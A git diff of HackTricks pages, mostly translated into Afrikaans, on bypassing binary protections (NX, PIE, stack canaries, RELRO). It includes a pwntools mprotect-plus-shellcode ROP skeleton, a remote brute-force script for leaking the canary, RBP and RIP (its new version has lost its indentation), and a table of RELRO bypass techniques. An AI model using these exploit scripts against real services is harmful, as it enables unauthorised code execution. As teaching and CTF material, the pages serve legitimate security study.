+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
+- [**Ret2dlresolve**](../rop-return-oriented-programing/ret2dlresolve.md) wanneer die binary nie `system`/`execve` importeer nie
+- [**Ret2csu**](../rop-return-oriented-programing/ret2csu.md) of [**Ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om syscalls te sintetiseer
+- **Ret2...** — enige dispatcher waarmee jy beheerde registertoestand met bestaande uitvoerbare code kan verbind om syscalls of library gadgets aan te roep.
+
+Die workflow is gewoonlik: (1) leak 'n code- of libc-pointer deur 'n info leak, (2) resolve die function bases, en (3) bou 'n chain wat nooit aanvaller-beheerde uitvoerbare bytes benodig nie.
+
+### Sigreturn Oriented Programming (SROP)
+
+SROP bou 'n vals `sigframe` op 'n skryfbare page en pivot die execution na `sys_rt_sigreturn` (of die toepaslike ABI-ekwivalent). Die kernel “restore” dan die saamgestelde context, wat onmiddellik volledige beheer oor alle general-purpose registers, `rip` en `eflags` gee. Onlangse CTF challenges (byvoorbeeld die *Hostel*-taak in n00bzCTF 2023) wys hoe SROP chains eers `mprotect` aanroep om die stack na `RWX` te verander, en dan dieselfde stack vir shellcode hergebruik, wat NX effektief omseil, selfs wanneer slegs 'n enkele `syscall; ret` gadget beskikbaar is.[[6]](#references) Kyk na die toegewyde [SROP-bladsy](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) vir meer argitektuurspesifieke truuks.
+
+### Ret2mprotect / ret2syscall om permissions te verander
+
+As jy `mprotect` of `pkey_mprotect` kan aanroep, kan jy execute-permission op 'n geskikte mapping versoek voordat jy shellcode uitvoer. (`dlopen` is 'n ander roete: dit map uitvoerbare segments vanaf 'n shared object eerder as om willekeurige page permissions in die algemeen te verander.)[[4]](#references) 'n Klein `pwntools`-skelet lyk soos volg:
+```python
+from pwn import *
+elf = ELF("./vuln")
+rop = ROP(elf)
+rop.mprotect(elf.bss(), 0x1000, 7)
+payload = flat({offset: rop.chain(), offset+len(rop.chain()): asm(shellcraft.sh())})
+```
+Dieselfde idee geld vir `ret2syscall`-chains wat `rax=__NR_mprotect` stel, `rdi` na ’n `mmap`/`.bss`-bladsy wys, die verlangde lengte in `rsi` stoor, en `rdx=7` (`PROT_RWX`) stel. Sodra ’n RWX-gebied bestaan, kan uitvoering veilig na attacker-beheerde bytes spring.
+
+### RWX-primitiewe vanaf JIT-engines en kernelle
+
+JIT-engines, interpreters, GPU-drivers en kernel-substelsels wat dinamies code genereer, is ’n algemene manier om uitvoerbare geheue te herwin, selfs onder streng NX-beleide. Die 2024 Linux-kernel-kwesbaarheid **CVE-2024-42067** het gewys dat foute in `set_memory_rox()` eBPF JIT-bladsye skryfbaar *en* uitvoerbaar gelaat het, wat attackers toegelaat het om gadgets of volledige shellcode-blobs binne die kernel te spray, ondanks NX/W^X-verwagtinge.[[5]](#references) Exploits wat beheer oor ’n JIT-compiler verkry (BPF, JavaScript, Lua, ens.) kan dus reël dat hul payload in daardie RWX-arenas woon en benodig slegs ’n enkele function pointer overwrite om daarheen te spring.
+
+### Non-return code reuse (JOP/COP)
+
+As `ret`-instruksies gehard is (bv. CET/IBT), of die binary nie genoeg expressive `ret`-gadgets bevat nie, skakel oor na **Jump-Oriented Programming (JOP)** of **Call-Oriented Programming (COP)**. Hierdie tegnieke bou dispatchers wat `jmp [reg]`- of `call [reg]`-sekwense gebruik wat in die binary of gelaaide libraries gevind word. Hulle respekteer steeds NX omdat hulle bestaande uitvoerbare code hergebruik, maar omseil mitigations wat spesifiek vir groot chains van `ret`-instruksies kyk.
+
+{{#ref}}
+../rop-return-oriented-programing/README.md
+{{#endref}}
+
+## References
+
+- [1] [Linux Standard Base - `PT_GNU_STACK`](https://refspecs.linuxfoundation.org/LSB_4.1.0/LSB-Core-generic/LSB-Core-generic/progheader.html)
+- [2] [Ubuntu-handleiding - `execstack`](https://manpages.ubuntu.com/manpages/jammy/man8/execstack.8.html)
+- [3] [Linux `proc_pid_maps(5)`-handleiding](https://man7.org/linux/man-pages/man5/proc_pid_maps.5.html)
+- [4] [Linux `mprotect(2)`-handleiding](https://man7.org/linux/man-pages/man2/mprotect.2.html)
+- [5] [CVE-2024-42067 - Linux-kernel eBPF JIT `set_memory_rox`-fout](https://nvd.nist.gov/vuln/detail/CVE-2024-42067)
+- [6] [n00bzCTF 2023 - Hostel (SROP)-writeup](https://ctftime.org/writeup/37315)
+- [7] [GNU `ld` - command-line options](https://sourceware.org/binutils/docs/ld/Options.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
index 99a33743d18..b27f072c768 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
@@ -2,31 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
+’n **position-independent executable (PIE)** kan by elke uitvoering op ’n ander basisadres gelaai word wanneer ASLR geaktiveer is, wat absolute adresse ongeldig maak waarop ’n exploit staatmaak.
-The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
+Die truuk om hierdie binaries te exploit lê daarin om die **relatiewe adresse** te benut—die offsets tussen dele van die program bly dieselfde, selfs al verander die absolute liggings. Om **PIE te omseil, hoef jy slegs een adres te leak**, tipies vanaf die **stack** deur kwesbaarhede soos format string attacks te gebruik. Sodra jy ’n adres het, kan jy ander adresse volgens hul **fixed offsets** bereken.[[1]](#references)
-A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
-Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
+’n PIE-mapping-basis is page-aligned (gewoonlik `0x1000` op x86/x86-64), dus is sy laagste 12 bisse normaalweg nul. Dit is ’n nuttige sanity check, maar om ’n gelekte pointer afwaarts tot by sy page af te rond, vind slegs daardie pointer se page—nie noodwendig die binary-basis nie. Trek die simbool- of instruction-offset van die leak af en page-align die resultaat. Byvoorbeeld, as dit bekend is dat `0x649e1024` `main+0x24` is en `main` by file offset `0x1000` is, is die basis `0x649e0000`.[[1]](#references)
## Bypasses
-In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
+Om PIE te omseil, benodig ’n exploit normaalweg ’n address disclosure vanaf die gelaaide binary. Algemene opsies sluit in:
+
+- **Disabled ASLR**: Indien ASLR gedeaktiveer is, gaan ’n binary wat met PIE gekompileer is altyd **by dieselfde adres gelaai word**; daarom gaan **PIE nutteloos wees**, aangesien die adresse van die objects altyd op dieselfde plek gaan wees.
+- Die leak word aan jou **gegee** (algemeen in maklike CTF challenges, [**kyk na hierdie voorbeeld**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))[[2]](#references)
+- **Brute-force EBP- en EIP-waardes** in die stack totdat jy die korrekte waardes leak:
-- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
-- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
-- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
-- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Gebruik ’n **arbitrary read**-kwesbaarheid soos ’n [**format string**](../../format-strings/) om ’n adres van die binary te leak (byvoorbeeld vanaf die stack, soos in die vorige tegniek) om die basis van die binary te kry en offsets van daar af te gebruik. [**Vind ’n voorbeeld hier**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).[[3]](#references)
## References
-- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
-
+- [1] [PIE (Position Independent Executable) - Binary Exploitation Notes](https://ir0nstone.gitbook.io/notes/types/stack/pie)
+- [2] [PIE Bypass with a Given Leak](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)
+- [3] [PIE Bypass with a Format String](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
index 996facccb60..913e2c8b2ff 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
@@ -1,96 +1,110 @@
-# BF Addresses in the Stack
+# BF Addresses in die Stack
{{#include ../../../banners/hacktricks-training.md}}
-**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
+**As jy met 'n binary te doen het wat deur 'n canary en PIE (Position Independent Executable) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.**
-.png>)
+.png>)
-> [!NOTE]
-> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
-> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
+> [!TIP]
+> Let daarop dat **`checksec`** moontlik nie sal vasstel dat 'n binary deur 'n canary beskerm word as dit staties gekompileer is en dit nie in staat is om die funksie te identifiseer nie.\
+> Jy kan dit egter handmatig opmerk as jy sien dat 'n waarde aan die begin van 'n funksie-oproep in die stack gestoor word en dat hierdie waarde nagegaan word voordat die funksie afsluit.
## Brute-Force Addresses
-In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
-For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
+Om **die PIE te omseil**, moet jy 'n **adres leak**. As die binary geen adresse leakan nie, is die beste manier om dit te doen om die **RBP en RIP wat in die stack gestoor is, te brute-force** in die kwesbare funksie.\
+Byvoorbeeld, as 'n binary met beide 'n **canary** en **PIE** beskerm word, kan jy begin deur die canary te brute-force; daarna sal die **volgende** 8 Bytes (x64) die gestoor **RBP** wees, en die **volgende** 8 Bytes sal die gestoor **RIP** wees.[[1]](#references)[[2]](#references)
> [!TIP]
-> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
+> Daar word aanvaar dat die return address binne die stack aan die hoof-binary-kode behoort. As die kwesbaarheid in die binary-kode geleë is, sal dit gewoonlik die geval wees.
+
+Hierdie tegniek is veral nuttig wanneer **elke mislukte probe slegs die huidige worker beëindig, maar nie die parent state her-randomiseer nie** (byvoorbeeld 'n `fork()`-per-connection-bediener of 'n diens wat workers herbegin sonder `execve()`). As jy in daardie scenario eers die canary moet brute-force, kyk na [BF Forked & Threaded Stack Canaries](../stack-canaries/bf-forked-stack-canaries.md).
-To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
+Om die RBP en RIP van die binary te brute-force, kan jy vasstel dat 'n korrek geraaide byte geldig is as die program iets uitvoer of eenvoudig nie crash nie. Die **same primitive** wat gebruik word om die canary te brute-force, kan hergebruik word om die gestoor **RBP** en die gestoor **RIP** te leak:
+
+Python3-helper om die canary, gestoor RBP en gestoor RIP te brute-force
```python
from pwn import *
+HOST, PORT = "localhost", 8788
+
+
def connect():
- r = remote("localhost", 8788)
-
-def get_bf(base):
- canary = ""
- guess = 0x0
- base += canary
-
- while len(canary) < 8:
- while guess != 0xff:
- r = connect()
-
- r.recvuntil("Username: ")
- r.send(base + chr(guess))
-
- if "SOME OUTPUT" in r.clean():
- print "Guessed correct byte:", format(guess, '02x')
- canary += chr(guess)
- base += chr(guess)
- guess = 0x0
- r.close()
- break
- else:
- guess += 1
- r.close()
-
- print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
- return base
-
-# CANARY BF HERE
-canary_offset = 1176
-base = "A" * canary_offset
-print("Brute-Forcing canary")
-base_canary = get_bf(base) #Get yunk data + canary
-CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
-
-# PIE BF FROM HERE
-print("Brute-Forcing RBP")
-base_canary_rbp = get_bf(base_canary)
-RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
-print("Brute-Forcing RIP")
-base_canary_rbp_rip = get_bf(base_canary_rbp)
-RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
+return remote(HOST, PORT)
+
+
+def brute_qword(prefix, prompt=b"Username: ", success=b"SOME OUTPUT"):
+leaked = b""
+
+while len(leaked) < 8:
+for guess in range(0x100):
+io = connect()
+io.recvuntil(prompt)
+io.send(prefix + leaked + bytes([guess]))
+out = io.clean(timeout=0.2)
+io.close()
+
+if success in out:
+leaked += bytes([guess])
+log.info("byte %d = %#x", len(leaked), guess)
+break
+else:
+raise RuntimeError("No valid byte found")
+
+return prefix + leaked
+
+
+offset = 1176
+payload = b"A" * offset
+
+payload = brute_qword(payload) # canary
+CANARY = u64(payload[-8:])
+
+payload = brute_qword(payload) # saved RBP
+RBP = u64(payload[-8:])
+
+payload = brute_qword(payload) # saved RIP
+RIP = u64(payload[-8:])
```
+
-The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
+As die target met `gets`/`fgets`-stylfunksies lees, onthou om terminators soos `\n` uit die kandidaat-alfabet te verwyder. Met `read`/`recv` is dit gewoonlik reg om al die byte values te brute-force.
-From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
+Die laaste ding wat jy moet doen om die PIE te omseil, is om **nuttige adresse uit die geleakte** adresse te bereken: die **RBP** en die **RIP**.
+Uit die **RBP** kan jy bereken **waar jy jou shell in die stack skryf**. Dit kan baie nuttig wees om te weet waar jy die string _"/bin/sh\x00"_ binne die stack gaan skryf. Om die afstand tussen die geleakte RBP en jou shellcode te bereken, kan jy eenvoudig ’n **breakpoint plaas nadat jy die RBP geleak het** en kyk **waar jou shellcode geleë is**; daarna kan jy die afstand tussen die shellcode en die RBP bereken:
```python
INI_SHELLCODE = RBP - 1152
```
+Vanaf die **RIP** kan jy die **basisadres van die PIE binary** bereken, wat jy nodig gaan hê om ’n **geldige ROP chain** te skep.\
+Om die basisadres te bereken, disassembleer die binary en identifiseer die **presiese statiese offset van die return site** waarna die gestoorde `RIP` wys (`objdump -d`, `r2 -A`, `gef`, `pwndbg`, ens.):
-From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
-To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
-
-.png>)
-
-In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
+.png>)
+Die **betroubare** berekening is om daardie statiese offset van die gelekte runtime-adres af te trek:[[2]](#references)
+```python
+RET_OFFSET = 0x13cf # example: instruction after the call to the vulnerable function
+elf.address = RIP - RET_OFFSET
+assert elf.address & 0xfff == 0
+```
+As die gelekte `RIP` bekend is dat dit aan die **eerste uitvoerbare bladsy** van 'n klein binary behoort, kan dit steeds genoeg wees om dit volgens die bladsygrootte te belyn as 'n vinnige kortpad of sanity check. Byvoorbeeld, as jy `0x562002970ecf` leak, begin die bladsy wat daardie instruksie bevat by `0x562002970000`:
```python
-elf.address = RIP - (RIP & 0xfff)
+page_base = RIP - (RIP & 0xfff)
```
+## Verbeterings
+
+Om **"no crash"** blindelings as **"correct byte"** te behandel, is broos vir saved `RBP`- en saved `RIP`-waardes. In die praktyk maak die volgende aanpassings hierdie aanval baie meer betroubaar:
-## Improvements
+- **Gebruik timeouts vir saved `RBP`-raaiskote**: ’n verkeerde waarde wat deur `leave; ret` gebruik word, kan langer oorleef as ’n verkeerde canary of ’n verkeerde return address, dus benodig remote targets gewoonlik ’n langer timeout as plaaslike toetse.
+- **Voer ’n kort vertraging tussen probes in**: as requests te vinnig gestuur word, kan dit veroorsaak dat baie workers/processes agterbly, memory vol raak of `TIME_WAIT`-sockets ophoop, wat false positives skep wat nie met die geraaide byte verband hou nie.[[2]](#references)
+- **Moenie bytes brute-force wat jy reeds ken nie**: as disassembly wys dat die target return site met ’n vaste tail soos `...e06` moet eindig, brute-force slegs die randomized byte of nibble(s). Op amd64 is die lae 12 bits binne die page konstant vir ’n gegewe return site.
+- **Valideer candidates meer as een keer**: ’n verkeerde `RIP` kan steeds na geldige code terugkeer en output druk. Om te vereis dat dieselfde candidate verskeie kere slaag, of om dit te valideer met ’n bekende stop gadget soos in [BROP](../../rop-return-oriented-programing/brop-blind-return-oriented-programming.md), verminder false positives.
+- **Kontroleer die stack delta weer nadat jy `RBP` geleak het**: die afstand van die geleakte frame pointer tot jou beheerde buffer kan met stack alignment verander, dus meet daardie delta vir die geleakte frame layout in plaas daarvan om ’n enkele konstante aan te neem.
-According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
+## Verwysings
-According to that blog post it's recommended to add a short delay between requests to the server is introduced.
+- [1] [ripe_reader – NahamCon CTF 2020 writeup (datajerk)](https://github.com/datajerk/ctf-write-ups/blob/master/nahamconctf2020/ripe_reader/README.md)
+- [2] [Extended brute force leaking – Stack buffer overflow internship notes (florianhofhammer)](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
index 59b406c5e7b..e7aa54dd1e1 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
@@ -2,34 +2,103 @@
{{#include ../../banners/hacktricks-training.md}}
-## Relro
+## Hoe RELRO Werk
-**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
+**RELRO** staan vir **Relocation Read-Only**. Dit is ’n linker- en dynamic-loader-mitigering wat geselekteerde ELF-data leesalleen maak nadat die vereiste relocations toegepas is. Die doel is om relocation-verwante tabelle en ander sensitiewe data te beskerm, insluitend beskermde dele van die **Global Offset Table (GOT)**.[[3]](#references)
-Let's break down the concept into its two distinct types for clarity.
+Moderne linkers plaas geskikte seksies binne ’n `PT_GNU_RELRO`-segment. Ná relocation verander die dynamic loader die segment na **leesalleen (`R--`)**. Die presiese seksies hang van die linker script en object-uitleg af; algemene kandidate sluit `.got`, `.init_array`, `.fini_array`, `.preinit_array` en metadata van die dynamic loader in. Herrangskikking kan ook die GOT vóór `.bss` plaas, wat voorkom dat ’n eenvoudige vorentoe-gerigte `.bss` overflow dit bereik.[[3]](#references)
-### **Partial RELRO**
+Daar is **twee vlakke** van beskerming wat die linker kan genereer:
-**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
+### Gedeeltelike RELRO
-Note: By default, GCC compiles binaries with Partial RELRO.
+* Geproduseer met die flag `-Wl,-z,relro` (of `-z relro` wanneer `ld` direk aangeroep word).[[3]](#references)
+* Slegs die **non-PLT**-deel van die **GOT** (die deel wat vir data-relocations gebruik word) word in die leesalleen-segment geplaas. Seksies wat tydens runtime gewysig moet word – veral **.got.plt**, wat **lazy binding** ondersteun – bly writable.
+* Daarom kan ’n **arbitrary write**-primitive steeds execution flow herlei deur ’n `.got.plt`-entry te oorskryf. `ret2dlresolve` is nog ’n moontlike tegniek wanneer die resolver-pad en writable memory bruikbaar is.
+* Die performance-impak is weglaatbaar. Baie distributions en toolchains aktiveer minstens Gedeeltelike RELRO by verstek, maar die verstek is distribution- en build-system-spesifiek.
-### **Full RELRO**
+### Volledige RELRO
-**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
+* Geproduseer met **beide** flags `-Wl,-z,relro,-z,now` (ook bekend as `-z relro -z now`). `-z now` versoek eager symbol resolution sodat `.got.plt` nie langer writable hoef te bly vir lazy binding nie.[[3]](#references)
+* Die GOT en enige ander geskikte seksies wat in `PT_GNU_RELRO` geplaas word, word leesalleen. Of ’n benoemde seksie gedek word, moet in die spesifieke ELF geverifieer word eerder as om dit op grond van sy naam aan te neem.
+* Dit voeg meetbare opstartbokoste by (alle dynamic relocations word tydens launch verwerk), maar **geen runtime-bokoste nie**.
-However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
+Distribution-beleide verskil. Fedora dokumenteer **PIE en Full RELRO vir alle packages vanaf Fedora 23**. Debian aktiveer RELRO deur sy standaard hardening-flags, terwyl `BINDNOW` (wat vir Full RELRO benodig word) ’n bykomende opsie bly; Debian-packages moet dus individueel nagegaan word. As ’n pentester moet jy elke target verifieer eerder as om die beskerming daarvan uit die distribution release af te lei.[[4]](#references)[[5]](#references)
-It's possible to see if Full RELRO is **enabled** in a binary with:
+---
+## Hoe om die RELRO-status van ’n binary na te gaan
```bash
-readelf -l /proc/ID_PROC/exe | grep BIND_NOW
+$ checksec --file ./vuln
+[*] '/tmp/vuln'
+Arch: amd64-64-little
+RELRO: Full
+Stack: Canary found
+NX: NX enabled
+PIE: No PIE (0x400000)
```
+`checksec` (deel van [pwntools](https://github.com/pwncollege/pwntools) en baie distribusies) ontleed `ELF`-kopskrifte en druk die beskermingsvlak uit. As jy nie `checksec` kan gebruik nie, maak staat op `readelf`:
+```bash
+# Partial RELRO → PT_GNU_RELRO is present but BIND_NOW is *absent*
+$ readelf -l ./vuln | grep -E "GNU_RELRO|BIND_NOW"
+GNU_RELRO 0x0000000000600e20 0x0000000000600e20
+```
+
+```bash
+# Full RELRO → PT_GNU_RELRO *and* the DF_BIND_NOW flag
+$ readelf -d ./vuln | grep BIND_NOW
+0x0000000000000010 (FLAGS) FLAGS: BIND_NOW
+```
+As die binary loop (bv. ’n set-uid root helper), kan jy steeds die executable **via `/proc/$PID/exe`** inspekteer:
+```bash
+readelf -l /proc/$(pgrep helper)/exe | grep GNU_RELRO
+```
+---
+
+## RELRO aktiveer wanneer jy jou eie kode kompileer
+```bash
+# GCC example – create a PIE with Full RELRO and other common hardenings
+$ gcc -fPIE -pie -z relro -z now -Wl,--as-needed -D_FORTIFY_SOURCE=2 main.c -o secure
+```
+`-z relro -z now` werk vir beide **GCC/clang** (aangegee ná `-Wl,`) en **ld** direk. Wanneer jy **CMake 3.18+** gebruik, kan jy Full RELRO met die ingeboude preset aanvra:
+```cmake
+set(CMAKE_INTERPROCEDURAL_OPTIMIZATION ON) # LTO
+set(CMAKE_ENABLE_EXPORTS OFF)
+set(CMAKE_BUILD_RPATH_USE_ORIGIN ON)
+set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,relro,-z,now")
+```
+---
+
+## Bypass Techniques
+
+| RELRO-vlak | Tipiese primitive | Moontlike exploitation-tegnieke |
+|-------------|-------------------|----------------------------------|
+| None / Partial | Arbitrary write | 1. Oorskryf **.got.plt**-inskrywing en pivot execution. 2. **ret2dlresolve** – skep vals `Elf64_Rela` en `Elf64_Sym` in ’n writable segment en roep `_dl_runtime_resolve` aan. 3. Oorskryf function pointers in **.fini_array** / **atexit()**-lys. |
+| Full | GOT is read-only | 1. Soek **ander writable code pointers** (C++ vtables, `__malloc_hook` < glibc 2.34, `__free_hook`, callbacks in custom `.data`-afdelings, JIT pages). 2. Misbruik *relative read*-primitives om libc te leak en **SROP/ROP into libc** uit te voer. 3. Inject a rogue shared object via **DT_RPATH**/`LD_PRELOAD` (indien die omgewing deur die aanvaller beheer word) of **`ld_audit`**. 4. Exploit **format-string** of partial pointer overwrite om control-flow te herlei sonder om aan die GOT te raak. |
+
+> [!TIP]
+> Kontroleer elke loaded ELF object independently. ’n Executable kan Full RELRO hê terwyl een van sy shared libraries Partial RELRO het, maar shared libraries kan ook met Full RELRO gebou word. ’n Arbitrary write kan slegs ’n writable GOT teiken in ’n object waarvan die eie protection en relocation state daardie entry writable laat.
+>
+> Loader structures soos `__rtld_global` het ook in version-specific exploitation chains verskyn. Behandel hulle soos enige ander target: verifieer die presiese loader version, field layout, mapping permissions, en of ’n usable code pointer writable bly, eerder as om te aanvaar dat die hele structure RELRO omseil.
+
+### Werklike bypass-voorbeeld (2024 CTF – *pwn.college “enlightened”*)
+
+Die challenge is met Full RELRO gelewer. Die exploit het ’n **off-by-one** gebruik om die grootte van ’n heap chunk te korrupteer, libc met `tcache poisoning` geleak, en uiteindelik `__free_hook` (buite die RELRO-segment) met ’n one-gadget oorskryf om code execution te verkry. Geen GOT write was nodig nie.
+
+---
+
+## Onlangse navorsing & vulnerabilities (2022-2025)
-## Bypass
+* **glibc hook removal (2.34 → present)** – malloc/free hooks is uit die hoof-libc na die opsionele `libc_malloc_debug.so` verskuif, wat ’n algemene Full-RELRO-bypass primitive uitgeskakel het; moderne exploits moet ander writable pointers teiken.[[1]](#references)
+* **GNU ld RELRO page-alignment fix (binutils 2.39+/2.41)** – linker bug 30612 het veroorsaak dat die laaste bytes van `PT_GNU_RELRO` ’n writable page op 64 KiB-page systems gedeel het; huidige binutils align RELRO met `max-page-size`, wat daardie “RELRO gap” sluit.[[2]](#references)
-If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
+---
-Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
+## References
+- [1] [Beveiliging van malloc in glibc: Waarom malloc hooks moes verdwyn](https://developers.redhat.com/articles/2021/08/25/securing-malloc-glibc-why-malloc-hooks-had-go)
+- [2] [Binutils bug 30612 – RELRO-end alignment](https://lists.gnu.org/archive/html/bug-binutils/2023-08/msg00305.html)
+- [3] [GNU ld-opsies (`-z relro` en `-z now`)](https://sourceware.org/binutils/docs/ld/Options.html)
+- [4] [Debian-hardening-bou-vlae](https://wiki.debian.org/Hardening)
+- [5] [Fedora Security Features Matrix](https://fedoraproject.org/wiki/Security_Features_Matrix)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
index 5c1044b9814..2497057b483 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
@@ -2,50 +2,53 @@
{{#include ../../../banners/hacktricks-training.md}}
-## **StackGuard and StackShield**
+## StackGuard en StackShield
-**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
